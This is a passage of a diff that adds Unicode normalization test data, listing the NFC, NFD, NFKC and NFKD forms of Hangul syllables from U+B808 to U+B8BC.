+{ source: [0xB808], NFC: [0xB808], NFD: [0x1105, 0x1166], NFKC: [0xB808], NFKD: [0x1105, 0x1166] },
+{ source: [0xB809], NFC: [0xB809], NFD: [0x1105, 0x1166, 0x11A8], NFKC: [0xB809], NFKD: [0x1105, 0x1166, 0x11A8] },
+{ source: [0xB80A], NFC: [0xB80A], NFD: [0x1105, 0x1166, 0x11A9], NFKC: [0xB80A], NFKD: [0x1105, 0x1166, 0x11A9] },
+{ source: [0xB80B], NFC: [0xB80B], NFD: [0x1105, 0x1166, 0x11AA], NFKC: [0xB80B], NFKD: [0x1105, 0x1166, 0x11AA] },
+{ source: [0xB80C], NFC: [0xB80C], NFD: [0x1105, 0x1166, 0x11AB], NFKC: [0xB80C], NFKD: [0x1105, 0x1166, 0x11AB] },
+{ source: [0xB80D], NFC: [0xB80D], NFD: [0x1105, 0x1166, 0x11AC], NFKC: [0xB80D], NFKD: [0x1105, 0x1166, 0x11AC] },
+{ source: [0xB80E], NFC: [0xB80E], NFD: [0x1105, 0x1166, 0x11AD], NFKC: [0xB80E], NFKD: [0x1105, 0x1166, 0x11AD] },
+{ source: [0xB80F], NFC: [0xB80F], NFD: [0x1105, 0x1166, 0x11AE], NFKC: [0xB80F], NFKD: [0x1105, 0x1166, 0x11AE] },
+{ source: [0xB810], NFC: [0xB810], NFD: [0x1105, 0x1166, 0x11AF], NFKC: [0xB810], NFKD: [0x1105, 0x1166, 0x11AF] },
+{ source: [0xB811], NFC: [0xB811], NFD: [0x1105, 0x1166, 0x11B0], NFKC: [0xB811], NFKD: [0x1105, 0x1166, 0x11B0] },
+{ source: [0xB812], NFC: [0xB812], NFD: [0x1105, 0x1166, 0x11B1], NFKC: [0xB812], NFKD: [0x1105, 0x1166, 0x11B1] },
+{ source: [0xB813], NFC: [0xB813], NFD: [0x1105, 0x1166, 0x11B2], NFKC: [0xB813], NFKD: [0x1105, 0x1166, 0x11B2] },
+{ source: [0xB814], NFC: [0xB814], NFD: [0x1105, 0x1166, 0x11B3], NFKC: [0xB814], NFKD: [0x1105, 0x1166, 0x11B3] },
+{ source: [0xB815], NFC: [0xB815], NFD: [0x1105, 0x1166, 0x11B4], NFKC: [0xB815], NFKD: [0x1105, 0x1166, 0x11B4] },
+{ source: [0xB816], NFC: [0xB816], NFD: [0x1105, 0x1166, 0x11B5], NFKC: [0xB816], NFKD: [0x1105, 0x1166, 0x11B5] },
+{ source: [0xB817], NFC: [0xB817], NFD: [0x1105, 0x1166, 0x11B6], NFKC: [0xB817], NFKD: [0x1105, 0x1166, 0x11B6] },
+{ source: [0xB818], NFC: [0xB818], NFD: [0x1105, 0x1166, 0x11B7], NFKC: [0xB818], NFKD: [0x1105, 0x1166, 0x11B7] },
+{ source: [0xB819], NFC: [0xB819], NFD: [0x1105, 0x1166, 0x11B8], NFKC: [0xB819], NFKD: [0x1105, 0x1166, 0x11B8] },
+{ source: [0xB81A], NFC: [0xB81A], NFD: [0x1105, 0x1166, 0x11B9], NFKC: [0xB81A], NFKD: [0x1105, 0x1166, 0x11B9] },
+{ source: [0xB81B], NFC: [0xB81B], NFD: [0x1105, 0x1166, 0x11BA], NFKC: [0xB81B], NFKD: [0x1105, 0x1166, 0x11BA] },
+{ source: [0xB81C], NFC: [0xB81C], NFD: [0x1105, 0x1166, 0x11BB], NFKC: [0xB81C], NFKD: [0x1105, 0x1166, 0x11BB] },
+{ source: [0xB81D], NFC: [0xB81D], NFD: [0x1105, 0x1166, 0x11BC], NFKC: [0xB81D], NFKD: [0x1105, 0x1166, 0x11BC] },
+{ source: [0xB81E], NFC: [0xB81E], NFD: [0x1105, 0x1166, 0x11BD], NFKC: [0xB81E], NFKD: [0x1105, 0x1166, 0x11BD] },
+{ source: [0xB81F], NFC: [0xB81F], NFD: [0x1105, 0x1166, 0x11BE], NFKC: [0xB81F], NFKD: [0x1105, 0x1166, 0x11BE] },
+{ source: [0xB820], NFC: [0xB820], NFD: [0x1105, 0x1166, 0x11BF], NFKC: [0xB820], NFKD: [0x1105, 0x1166, 0x11BF] },
+{ source: [0xB821], NFC: [0xB821], NFD: [0x1105, 0x1166, 0x11C0], NFKC: [0xB821], NFKD: [0x1105, 0x1166, 0x11C0] },
+{ source: [0xB822], NFC: [0xB822], NFD: [0x1105, 0x1166, 0x11C1], NFKC: [0xB822], NFKD: [0x1105, 0x1166, 0x11C1] },
+{ source: [0xB823], NFC: [0xB823], NFD: [0x1105, 0x1166, 0x11C2], NFKC: [0xB823], NFKD: [0x1105, 0x1166, 0x11C2] },
+{ source: [0xB824], NFC: [0xB824], NFD: [0x1105, 0x1167], NFKC: [0xB824], NFKD: [0x1105, 0x1167] },
+{ source: [0xB825], NFC: [0xB825], NFD: [0x1105, 0x1167, 0x11A8], NFKC: [0xB825], NFKD: [0x1105, 0x1167, 0x11A8] },
+{ source: [0xB826], NFC: [0xB826], NFD: [0x1105, 0x1167, 0x11A9], NFKC: [0xB826], NFKD: [0x1105, 0x1167, 0x11A9] },
+{ source: [0xB827], NFC: [0xB827], NFD: [0x1105, 0x1167, 0x11AA], NFKC: [0xB827], NFKD: [0x1105, 0x1167, 0x11AA] },
+{ source: [0xB828], NFC: [0xB828], NFD: [0x1105, 0x1167, 0x11AB], NFKC: [0xB828], NFKD: [0x1105, 0x1167, 0x11AB] },
+{ source: [0xB829], NFC: [0xB829], NFD: [0x1105, 0x1167, 0x11AC], NFKC: [0xB829], NFKD: [0x1105, 0x1167, 0x11AC] },
+{ source: [0xB82A], NFC: [0xB82A], NFD: [0x1105, 0x1167, 0x11AD], NFKC: [0xB82A], NFKD: [0x1105, 0x1167, 0x11AD] },
+{ source: [0xB82B], NFC: [0xB82B], NFD: [0x1105, 0x1167, 0x11AE], NFKC: [0xB82B], NFKD: [0x1105, 0x1167, 0x11AE] },
+{ source: [0xB82C], NFC: [0xB82C], NFD: [0x1105, 0x1167, 0x11AF], NFKC: [0xB82C], NFKD: [0x1105, 0x1167, 0x11AF] },
+{ source: [0xB82D], NFC: [0xB82D], NFD: [0x1105, 0x1167, 0x11B0], NFKC: [0xB82D], NFKD: [0x1105, 0x1167, 0x11B0] },
+{ source: [0xB82E], NFC: [0xB82E], NFD: [0x1105, 0x1167, 0x11B1], NFKC: [0xB82E], NFKD: [0x1105, 0x1167, 0x11B1] },
+{ source: [0xB82F], NFC: [0xB82F], NFD: [0x1105, 0x1167, 0x11B2], NFKC: [0xB82F], NFKD: [0x1105, 0x1167, 0x11B2] },
+{ source: [0xB830], NFC: [0xB830], NFD: [0x1105, 0x1167, 0x11B3], NFKC: [0xB830], NFKD: [0x1105, 0x1167, 0x11B3] },
+{ source: [0xB831], NFC: [0xB831], NFD: [0x1105, 0x1167, 0x11B4], NFKC: [0xB831], NFKD: [0x1105, 0x1167, 0x11B4] },
+{ source: [0xB832], NFC: [0xB832], NFD: [0x1105, 0x1167, 0x11B5], NFKC: [0xB832], NFKD: [0x1105, 0x1167, 0x11B5] },
+{ source: [0xB833], NFC: [0xB833], NFD: [0x1105, 0x1167, 0x11B6], NFKC: [0xB833], NFKD: [0x1105, 0x1167, 0x11B6] },
+{ source: [0xB834], NFC: [0xB834], NFD: [0x1105, 0x1167, 0x11B7], NFKC: [0xB834], NFKD: [0x1105, 0x1167, 0x11B7] },
+{ source: [0xB835], NFC: [0xB835], NFD: [0x1105, 0x1167, 0x11B8], NFKC: [0xB835], NFKD: [0x1105, 0x1167, 0x11B8] },
+{ source: [0xB836], NFC: [0xB836], NFD: [0x1105, 0x1167, 0x11B9], NFKC: [0xB836], NFKD: [0x1105, 0x1167, 0x11B9] },
+{ source: [0xB837], NFC: [0xB837], NFD: [0x1105, 0x1167, 0x11BA], NFKC: [0xB837], NFKD: [0x1105, 0x1167, 0x11BA] },
+{ source: [0xB838], NFC: [0xB838], NFD: [0x1105, 0x1167, 0x11BB], NFKC: [0xB838], NFKD: [0x1105, 0x1167, 0x11BB] },
+{ source: [0xB839], NFC: [0xB839], NFD: [0x1105, 0x1167, 0x11BC], NFKC: [0xB839], NFKD: [0x1105, 0x1167, 0x11BC] },
+{ source: [0xB83A], NFC: [0xB83A], NFD: [0x1105, 0x1167, 0x11BD], NFKC: [0xB83A], NFKD: [0x1105, 0x1167, 0x11BD] },
+{ source: [0xB83B], NFC: [0xB83B], NFD: [0x1105, 0x1167, 0x11BE], NFKC: [0xB83B], NFKD: [0x1105, 0x1167, 0x11BE] },
+{ source: [0xB83C], NFC: [0xB83C], NFD: [0x1105, 0x1167, 0x11BF], NFKC: [0xB83C], NFKD: [0x1105, 0x1167, 0x11BF] },
+{ source: [0xB83D], NFC: [0xB83D], NFD: [0x1105, 0x1167, 0x11C0], NFKC: [0xB83D], NFKD: [0x1105, 0x1167, 0x11C0] },
+{ source: [0xB83E], NFC: [0xB83E], NFD: [0x1105, 0x1167, 0x11C1], NFKC: [0xB83E], NFKD: [0x1105, 0x1167, 0x11C1] },
+{ source: [0xB83F], NFC: [0xB83F], NFD: [0x1105, 0x1167, 0x11C2], NFKC: [0xB83F], NFKD: [0x1105, 0x1167, 0x11C2] },
+{ source: [0xB840], NFC: [0xB840], NFD: [0x1105, 0x1168], NFKC: [0xB840], NFKD: [0x1105, 0x1168] },
+{ source: [0xB841], NFC: [0xB841], NFD: [0x1105, 0x1168, 0x11A8], NFKC: [0xB841], NFKD: [0x1105, 0x1168, 0x11A8] },
+{ source: [0xB842], NFC: [0xB842], NFD: [0x1105, 0x1168, 0x11A9], NFKC: [0xB842], NFKD: [0x1105, 0x1168, 0x11A9] },
+{ source: [0xB843], NFC: [0xB843], NFD: [0x1105, 0x1168, 0x11AA], NFKC: [0xB843], NFKD: [0x1105, 0x1168, 0x11AA] },
+{ source: [0xB844], NFC: [0xB844], NFD: [0x1105, 0x1168, 0x11AB], NFKC: [0xB844], NFKD: [0x1105, 0x1168, 0x11AB] },
+{ source: [0xB845], NFC: [0xB845], NFD: [0x1105, 0x1168, 0x11AC], NFKC: [0xB845], NFKD: [0x1105, 0x1168, 0x11AC] },
+{ source: [0xB846], NFC: [0xB846], NFD: [0x1105, 0x1168, 0x11AD], NFKC: [0xB846], NFKD: [0x1105, 0x1168, 0x11AD] },
+{ source: [0xB847], NFC: [0xB847], NFD: [0x1105, 0x1168, 0x11AE], NFKC: [0xB847], NFKD: [0x1105, 0x1168, 0x11AE] },
+{ source: [0xB848], NFC: [0xB848], NFD: [0x1105, 0x1168, 0x11AF], NFKC: [0xB848], NFKD: [0x1105, 0x1168, 0x11AF] },
+{ source: [0xB849], NFC: [0xB849], NFD: [0x1105, 0x1168, 0x11B0], NFKC: [0xB849], NFKD: [0x1105, 0x1168, 0x11B0] },
+{ source: [0xB84A], NFC: [0xB84A], NFD: [0x1105, 0x1168, 0x11B1], NFKC: [0xB84A], NFKD: [0x1105, 0x1168, 0x11B1] },
+{ source: [0xB84B], NFC: [0xB84B], NFD: [0x1105, 0x1168, 0x11B2], NFKC: [0xB84B], NFKD: [0x1105, 0x1168, 0x11B2] },
+{ source: [0xB84C], NFC: [0xB84C], NFD: [0x1105, 0x1168, 0x11B3], NFKC: [0xB84C], NFKD: [0x1105, 0x1168, 0x11B3] },
+{ source: [0xB84D], NFC: [0xB84D], NFD: [0x1105, 0x1168, 0x11B4], NFKC: [0xB84D], NFKD: [0x1105, 0x1168, 0x11B4] },
+{ source: [0xB84E], NFC: [0xB84E], NFD: [0x1105, 0x1168, 0x11B5], NFKC: [0xB84E], NFKD: [0x1105, 0x1168, 0x11B5] },
+{ source: [0xB84F], NFC: [0xB84F], NFD: [0x1105, 0x1168, 0x11B6], NFKC: [0xB84F], NFKD: [0x1105, 0x1168, 0x11B6] },
+{ source: [0xB850], NFC: [0xB850], NFD: [0x1105, 0x1168, 0x11B7], NFKC: [0xB850], NFKD: [0x1105, 0x1168, 0x11B7] },
+{ source: [0xB851], NFC: [0xB851], NFD: [0x1105, 0x1168, 0x11B8], NFKC: [0xB851], NFKD: [0x1105, 0x1168, 0x11B8] },
+{ source: [0xB852], NFC: [0xB852], NFD: [0x1105, 0x1168, 0x11B9], NFKC: [0xB852], NFKD: [0x1105, 0x1168, 0x11B9] },
+{ source: [0xB853], NFC: [0xB853], NFD: [0x1105, 0x1168, 0x11BA], NFKC: [0xB853], NFKD: [0x1105, 0x1168, 0x11BA] },
+{ source: [0xB854], NFC: [0xB854], NFD: [0x1105, 0x1168, 0x11BB], NFKC: [0xB854], NFKD: [0x1105, 0x1168, 0x11BB] },
+{ source: [0xB855], NFC: [0xB855], NFD: [0x1105, 0x1168, 0x11BC], NFKC: [0xB855], NFKD: [0x1105, 0x1168, 0x11BC] },
+{ source: [0xB856], NFC: [0xB856], NFD: [0x1105, 0x1168, 0x11BD], NFKC: [0xB856], NFKD: [0x1105, 0x1168, 0x11BD] },
+{ source: [0xB857], NFC: [0xB857], NFD: [0x1105, 0x1168, 0x11BE], NFKC: [0xB857], NFKD: [0x1105, 0x1168, 0x11BE] },
+{ source: [0xB858], NFC: [0xB858], NFD: [0x1105, 0x1168, 0x11BF], NFKC: [0xB858], NFKD: [0x1105, 0x1168, 0x11BF] },
+{ source: [0xB859], NFC: [0xB859], NFD: [0x1105, 0x1168, 0x11C0], NFKC: [0xB859], NFKD: [0x1105, 0x1168, 0x11C0] },
+{ source: [0xB85A], NFC: [0xB85A], NFD: [0x1105, 0x1168, 0x11C1], NFKC: [0xB85A], NFKD: [0x1105, 0x1168, 0x11C1] },
+{ source: [0xB85B], NFC: [0xB85B], NFD: [0x1105, 0x1168, 0x11C2], NFKC: [0xB85B], NFKD: [0x1105, 0x1168, 0x11C2] },
+{ source: [0xB85C], NFC: [0xB85C], NFD: [0x1105, 0x1169], NFKC: [0xB85C], NFKD: [0x1105, 0x1169] },
+{ source: [0xB85D], NFC: [0xB85D], NFD: [0x1105, 0x1169, 0x11A8], NFKC: [0xB85D], NFKD: [0x1105, 0x1169, 0x11A8] },
+{ source: [0xB85E], NFC: [0xB85E], NFD: [0x1105, 0x1169, 0x11A9], NFKC: [0xB85E], NFKD: [0x1105, 0x1169, 0x11A9] },
+{ source: [0xB85F], NFC: [0xB85F], NFD: [0x1105, 0x1169, 0x11AA], NFKC: [0xB85F], NFKD: [0x1105, 0x1169, 0x11AA] },
+{ source: [0xB860], NFC: [0xB860], NFD: [0x1105, 0x1169, 0x11AB], NFKC: [0xB860], NFKD: [0x1105, 0x1169, 0x11AB] },
+{ source: [0xB861], NFC: [0xB861], NFD: [0x1105, 0x1169, 0x11AC], NFKC: [0xB861], NFKD: [0x1105, 0x1169, 0x11AC] },
+{ source: [0xB862], NFC: [0xB862], NFD: [0x1105, 0x1169, 0x11AD], NFKC: [0xB862], NFKD: [0x1105, 0x1169, 0x11AD] },
+{ source: [0xB863], NFC: [0xB863], NFD: [0x1105, 0x1169, 0x11AE], NFKC: [0xB863], NFKD: [0x1105, 0x1169, 0x11AE] },
+{ source: [0xB864], NFC: [0xB864], NFD: [0x1105, 0x1169, 0x11AF], NFKC: [0xB864], NFKD: [0x1105, 0x1169, 0x11AF] },
+{ source: [0xB865], NFC: [0xB865], NFD: [0x1105, 0x1169, 0x11B0], NFKC: [0xB865], NFKD: [0x1105, 0x1169, 0x11B0] },
+{ source: [0xB866], NFC: [0xB866], NFD: [0x1105, 0x1169, 0x11B1], NFKC: [0xB866], NFKD: [0x1105, 0x1169, 0x11B1] },
+{ source: [0xB867], NFC: [0xB867], NFD: [0x1105, 0x1169, 0x11B2], NFKC: [0xB867], NFKD: [0x1105, 0x1169, 0x11B2] },
+{ source: [0xB868], NFC: [0xB868], NFD: [0x1105, 0x1169, 0x11B3], NFKC: [0xB868], NFKD: [0x1105, 0x1169, 0x11B3] },
+{ source: [0xB869], NFC: [0xB869], NFD: [0x1105, 0x1169, 0x11B4], NFKC: [0xB869], NFKD: [0x1105, 0x1169, 0x11B4] },
+{ source: [0xB86A], NFC: [0xB86A], NFD: [0x1105, 0x1169, 0x11B5], NFKC: [0xB86A], NFKD: [0x1105, 0x1169, 0x11B5] },
+{ source: [0xB86B], NFC: [0xB86B], NFD: [0x1105, 0x1169, 0x11B6], NFKC: [0xB86B], NFKD: [0x1105, 0x1169, 0x11B6] },
+{ source: [0xB86C], NFC: [0xB86C], NFD: [0x1105, 0x1169, 0x11B7], NFKC: [0xB86C], NFKD: [0x1105, 0x1169, 0x11B7] },
+{ source: [0xB86D], NFC: [0xB86D], NFD: [0x1105, 0x1169, 0x11B8], NFKC: [0xB86D], NFKD: [0x1105, 0x1169, 0x11B8] },
+{ source: [0xB86E], NFC: [0xB86E], NFD: [0x1105, 0x1169, 0x11B9], NFKC: [0xB86E], NFKD: [0x1105, 0x1169, 0x11B9] },
+{ source: [0xB86F], NFC: [0xB86F], NFD: [0x1105, 0x1169, 0x11BA], NFKC: [0xB86F], NFKD: [0x1105, 0x1169, 0x11BA] },
+{ source: [0xB870], NFC: [0xB870], NFD: [0x1105, 0x1169, 0x11BB], NFKC: [0xB870], NFKD: [0x1105, 0x1169, 0x11BB] },
+{ source: [0xB871], NFC: [0xB871], NFD: [0x1105, 0x1169, 0x11BC], NFKC: [0xB871], NFKD: [0x1105, 0x1169, 0x11BC] },
+{ source: [0xB872], NFC: [0xB872], NFD: [0x1105, 0x1169, 0x11BD], NFKC: [0xB872], NFKD: [0x1105, 0x1169, 0x11BD] },
+{ source: [0xB873], NFC: [0xB873], NFD: [0x1105, 0x1169, 0x11BE], NFKC: [0xB873], NFKD: [0x1105, 0x1169, 0x11BE] },
+{ source: [0xB874], NFC: [0xB874], NFD: [0x1105, 0x1169, 0x11BF], NFKC: [0xB874], NFKD: [0x1105, 0x1169, 0x11BF] },
+{ source: [0xB875], NFC: [0xB875], NFD: [0x1105, 0x1169, 0x11C0], NFKC: [0xB875], NFKD: [0x1105, 0x1169, 0x11C0] },
+{ source: [0xB876], NFC: [0xB876], NFD: [0x1105, 0x1169, 0x11C1], NFKC: [0xB876], NFKD: [0x1105, 0x1169, 0x11C1] },
+{ source: [0xB877], NFC: [0xB877], NFD: [0x1105, 0x1169, 0x11C2], NFKC: [0xB877], NFKD: [0x1105, 0x1169, 0x11C2] },
+{ source: [0xB878], NFC: [0xB878], NFD: [0x1105, 0x116A], NFKC: [0xB878], NFKD: [0x1105, 0x116A] },
+{ source: [0xB879], NFC: [0xB879], NFD: [0x1105, 0x116A, 0x11A8], NFKC: [0xB879], NFKD: [0x1105, 0x116A, 0x11A8] },
+{ source: [0xB87A], NFC: [0xB87A], NFD: [0x1105, 0x116A, 0x11A9], NFKC: [0xB87A], NFKD: [0x1105, 0x116A, 0x11A9] },
+{ source: [0xB87B], NFC: [0xB87B], NFD: [0x1105, 0x116A, 0x11AA], NFKC: [0xB87B], NFKD: [0x1105, 0x116A, 0x11AA] },
+{ source: [0xB87C], NFC: [0xB87C], NFD: [0x1105, 0x116A, 0x11AB], NFKC: [0xB87C], NFKD: [0x1105, 0x116A, 0x11AB] },
+{ source: [0xB87D], NFC: [0xB87D], NFD: [0x1105, 0x116A, 0x11AC], NFKC: [0xB87D], NFKD: [0x1105, 0x116A, 0x11AC] },
+{ source: [0xB87E], NFC: [0xB87E], NFD: [0x1105, 0x116A, 0x11AD], NFKC: [0xB87E], NFKD: [0x1105, 0x116A, 0x11AD] },
+{ source: [0xB87F], NFC: [0xB87F], NFD: [0x1105, 0x116A, 0x11AE], NFKC: [0xB87F], NFKD: [0x1105, 0x116A, 0x11AE] },
+{ source: [0xB880], NFC: [0xB880], NFD: [0x1105, 0x116A, 0x11AF], NFKC: [0xB880], NFKD: [0x1105, 0x116A, 0x11AF] },
+{ source: [0xB881], NFC: [0xB881], NFD: [0x1105, 0x116A, 0x11B0], NFKC: [0xB881], NFKD: [0x1105, 0x116A, 0x11B0] },
+{ source: [0xB882], NFC: [0xB882], NFD: [0x1105, 0x116A, 0x11B1], NFKC: [0xB882], NFKD: [0x1105, 0x116A, 0x11B1] },
+{ source: [0xB883], NFC: [0xB883], NFD: [0x1105, 0x116A, 0x11B2], NFKC: [0xB883], NFKD: [0x1105, 0x116A, 0x11B2] },
+{ source: [0xB884], NFC: [0xB884], NFD: [0x1105, 0x116A, 0x11B3], NFKC: [0xB884], NFKD: [0x1105, 0x116A, 0x11B3] },
+{ source: [0xB885], NFC: [0xB885], NFD: [0x1105, 0x116A, 0x11B4], NFKC: [0xB885], NFKD: [0x1105, 0x116A, 0x11B4] },
+{ source: [0xB886], NFC: [0xB886], NFD: [0x1105, 0x116A, 0x11B5], NFKC: [0xB886], NFKD: [0x1105, 0x116A, 0x11B5] },
+{ source: [0xB887], NFC: [0xB887], NFD: [0x1105, 0x116A, 0x11B6], NFKC: [0xB887], NFKD: [0x1105, 0x116A, 0x11B6] },
+{ source: [0xB888], NFC: [0xB888], NFD: [0x1105, 0x116A, 0x11B7], NFKC: [0xB888], NFKD: [0x1105, 0x116A, 0x11B7] },
+{ source: [0xB889], NFC: [0xB889], NFD: [0x1105, 0x116A, 0x11B8], NFKC: [0xB889], NFKD: [0x1105, 0x116A, 0x11B8] },
+{ source: [0xB88A], NFC: [0xB88A], NFD: [0x1105, 0x116A, 0x11B9], NFKC: [0xB88A], NFKD: [0x1105, 0x116A, 0x11B9] },
+{ source: [0xB88B], NFC: [0xB88B], NFD: [0x1105, 0x116A, 0x11BA], NFKC: [0xB88B], NFKD: [0x1105, 0x116A, 0x11BA] },
+{ source: [0xB88C], NFC: [0xB88C], NFD: [0x1105, 0x116A, 0x11BB], NFKC: [0xB88C], NFKD: [0x1105, 0x116A, 0x11BB] },
+{ source: [0xB88D], NFC: [0xB88D], NFD: [0x1105, 0x116A, 0x11BC], NFKC: [0xB88D], NFKD: [0x1105, 0x116A, 0x11BC] },
+{ source: [0xB88E], NFC: [0xB88E], NFD: [0x1105, 0x116A, 0x11BD], NFKC: [0xB88E], NFKD: [0x1105, 0x116A, 0x11BD] },
+{ source: [0xB88F], NFC: [0xB88F], NFD: [0x1105, 0x116A, 0x11BE], NFKC: [0xB88F], NFKD: [0x1105, 0x116A, 0x11BE] },
+{ source: [0xB890], NFC: [0xB890], NFD: [0x1105, 0x116A, 0x11BF], NFKC: [0xB890], NFKD: [0x1105, 0x116A, 0x11BF] },
+{ source: [0xB891], NFC: [0xB891], NFD: [0x1105, 0x116A, 0x11C0], NFKC: [0xB891], NFKD: [0x1105, 0x116A, 0x11C0] },
+{ source: [0xB892], NFC: [0xB892], NFD: [0x1105, 0x116A, 0x11C1], NFKC: [0xB892], NFKD: [0x1105, 0x116A, 0x11C1] },
+{ source: [0xB893], NFC: [0xB893], NFD: [0x1105, 0x116A, 0x11C2], NFKC: [0xB893], NFKD: [0x1105, 0x116A, 0x11C2] },
+{ source: [0xB894], NFC: [0xB894], NFD: [0x1105, 0x116B], NFKC: [0xB894], NFKD: [0x1105, 0x116B] },
+{ source: [0xB895], NFC: [0xB895], NFD: [0x1105, 0x116B, 0x11A8], NFKC: [0xB895], NFKD: [0x1105, 0x116B, 0x11A8] },
+{ source: [0xB896], NFC: [0xB896], NFD: [0x1105, 0x116B, 0x11A9], NFKC: [0xB896], NFKD: [0x1105, 0x116B, 0x11A9] },
+{ source: [0xB897], NFC: [0xB897], NFD: [0x1105, 0x116B, 0x11AA], NFKC: [0xB897], NFKD: [0x1105, 0x116B, 0x11AA] },
+{ source: [0xB898], NFC: [0xB898], NFD: [0x1105, 0x116B, 0x11AB], NFKC: [0xB898], NFKD: [0x1105, 0x116B, 0x11AB] },
+{ source: [0xB899], NFC: [0xB899], NFD: [0x1105, 0x116B, 0x11AC], NFKC: [0xB899], NFKD: [0x1105, 0x116B, 0x11AC] },
+{ source: [0xB89A], NFC: [0xB89A], NFD: [0x1105, 0x116B, 0x11AD], NFKC: [0xB89A], NFKD: [0x1105, 0x116B, 0x11AD] },
+{ source: [0xB89B], NFC: [0xB89B], NFD: [0x1105, 0x116B, 0x11AE], NFKC: [0xB89B], NFKD: [0x1105, 0x116B, 0x11AE] },
+{ source: [0xB89C], NFC: [0xB89C], NFD: [0x1105, 0x116B, 0x11AF], NFKC: [0xB89C], NFKD: [0x1105, 0x116B, 0x11AF] },
+{ source: [0xB89D], NFC: [0xB89D], NFD: [0x1105, 0x116B, 0x11B0], NFKC: [0xB89D], NFKD: [0x1105, 0x116B, 0x11B0] },
+{ source: [0xB89E], NFC: [0xB89E], NFD: [0x1105, 0x116B, 0x11B1], NFKC: [0xB89E], NFKD: [0x1105, 0x116B, 0x11B1] },
+{ source: [0xB89F], NFC: [0xB89F], NFD: [0x1105, 0x116B, 0x11B2], NFKC: [0xB89F], NFKD: [0x1105, 0x116B, 0x11B2] },
+{ source: [0xB8A0], NFC: [0xB8A0], NFD: [0x1105, 0x116B, 0x11B3], NFKC: [0xB8A0], NFKD: [0x1105, 0x116B, 0x11B3] },
+{ source: [0xB8A1], NFC: [0xB8A1], NFD: [0x1105, 0x116B, 0x11B4], NFKC: [0xB8A1], NFKD: [0x1105, 0x116B, 0x11B4] },
+{ source: [0xB8A2], NFC: [0xB8A2], NFD: [0x1105, 0x116B, 0x11B5], NFKC: [0xB8A2], NFKD: [0x1105, 0x116B, 0x11B5] },
+{ source: [0xB8A3], NFC: [0xB8A3], NFD: [0x1105, 0x116B, 0x11B6], NFKC: [0xB8A3], NFKD: [0x1105, 0x116B, 0x11B6] },
+{ source: [0xB8A4], NFC: [0xB8A4], NFD: [0x1105, 0x116B, 0x11B7], NFKC: [0xB8A4], NFKD: [0x1105, 0x116B, 0x11B7] },
+{ source: [0xB8A5], NFC: [0xB8A5], NFD: [0x1105, 0x116B, 0x11B8], NFKC: [0xB8A5], NFKD: [0x1105, 0x116B, 0x11B8] },
+{ source: [0xB8A6], NFC: [0xB8A6], NFD: [0x1105, 0x116B, 0x11B9], NFKC: [0xB8A6], NFKD: [0x1105, 0x116B, 0x11B9] },
+{ source: [0xB8A7], NFC: [0xB8A7], NFD: [0x1105, 0x116B, 0x11BA], NFKC: [0xB8A7], NFKD: [0x1105, 0x116B, 0x11BA] },
+{ source: [0xB8A8], NFC: [0xB8A8], NFD: [0x1105, 0x116B, 0x11BB], NFKC: [0xB8A8], NFKD: [0x1105, 0x116B, 0x11BB] },
+{ source: [0xB8A9], NFC: [0xB8A9], NFD: [0x1105, 0x116B, 0x11BC], NFKC: [0xB8A9], NFKD: [0x1105, 0x116B, 0x11BC] },
+{ source: [0xB8AA], NFC: [0xB8AA], NFD: [0x1105, 0x116B, 0x11BD], NFKC: [0xB8AA], NFKD: [0x1105, 0x116B, 0x11BD] },
+{ source: [0xB8AB], NFC: [0xB8AB], NFD: [0x1105, 0x116B, 0x11BE], NFKC: [0xB8AB], NFKD: [0x1105, 0x116B, 0x11BE] },
+{ source: [0xB8AC], NFC: [0xB8AC], NFD: [0x1105, 0x116B, 0x11BF], NFKC: [0xB8AC], NFKD: [0x1105, 0x116B, 0x11BF] },
+{ source: [0xB8AD], NFC: [0xB8AD], NFD: [0x1105, 0x116B, 0x11C0], NFKC: [0xB8AD], NFKD: [0x1105, 0x116B, 0x11C0] },
+{ source: [0xB8AE], NFC: [0xB8AE], NFD: [0x1105, 0x116B, 0x11C1], NFKC: [0xB8AE], NFKD: [0x1105, 0x116B, 0x11C1] },
+{ source: [0xB8AF], NFC: [0xB8AF], NFD: [0x1105, 0x116B, 0x11C2], NFKC: [0xB8AF], NFKD: [0x1105, 0x116B, 0x11C2] },
+{ source: [0xB8B0], NFC: [0xB8B0], NFD: [0x1105, 0x116C], NFKC: [0xB8B0], NFKD: [0x1105, 0x116C] },
+{ source: [0xB8B1], NFC: [0xB8B1], NFD: [0x1105, 0x116C, 0x11A8], NFKC: [0xB8B1], NFKD: [0x1105, 0x116C, 0x11A8] },
+{ source: [0xB8B2], NFC: [0xB8B2], NFD: [0x1105, 0x116C, 0x11A9], NFKC: [0xB8B2], NFKD: [0x1105, 0x116C, 0x11A9] },
+{ source: [0xB8B3], NFC: [0xB8B3], NFD: [0x1105, 0x116C, 0x11AA], NFKC: [0xB8B3], NFKD: [0x1105, 0x116C, 0x11AA] },
+{ source: [0xB8B4], NFC: [0xB8B4], NFD: [0x1105, 0x116C, 0x11AB], NFKC: [0xB8B4], NFKD: [0x1105, 0x116C, 0x11AB] },
+{ source: [0xB8B5], NFC: [0xB8B5], NFD: [0x1105, 0x116C, 0x11AC], NFKC: [0xB8B5], NFKD: [0x1105, 0x116C, 0x11AC] },
+{ source: [0xB8B6], NFC: [0xB8B6], NFD: [0x1105, 0x116C, 0x11AD], NFKC: [0xB8B6], NFKD: [0x1105, 0x116C, 0x11AD] },
+{ source: [0xB8B7], NFC: [0xB8B7], NFD: [0x1105, 0x116C, 0x11AE], NFKC: [0xB8B7], NFKD: [0x1105, 0x116C, 0x11AE] },
+{ source: [0xB8B8], NFC: [0xB8B8], NFD: [0x1105, 0x116C, 0x11AF], NFKC: [0xB8B8], NFKD: [0x1105, 0x116C, 0x11AF] },
+{ source: [0xB8B9], NFC: [0xB8B9], NFD: [0x1105, 0x116C, 0x11B0], NFKC: [0xB8B9], NFKD: [0x1105, 0x116C, 0x11B0] },
+{ source: [0xB8BA], NFC: [0xB8BA], NFD: [0x1105, 0x116C, 0x11B1], NFKC: [0xB8BA], NFKD: [0x1105, 0x116C, 0x11B1] },
+{ source: [0xB8BB], NFC: [0xB8BB], NFD: [0x1105, 0x116C, 0x11B2], NFKC: [0xB8BB], NFKD: [0x1105, 0x116C, 0x11B2] },
+{ source: [0xB8BC], NFC: [0xB8BC], NFD: [0x1105, 0x116C, 0x11B3], NFKC: [0xB8BC], NFKD: [0x1105, 0x116C, 0x11B3] },
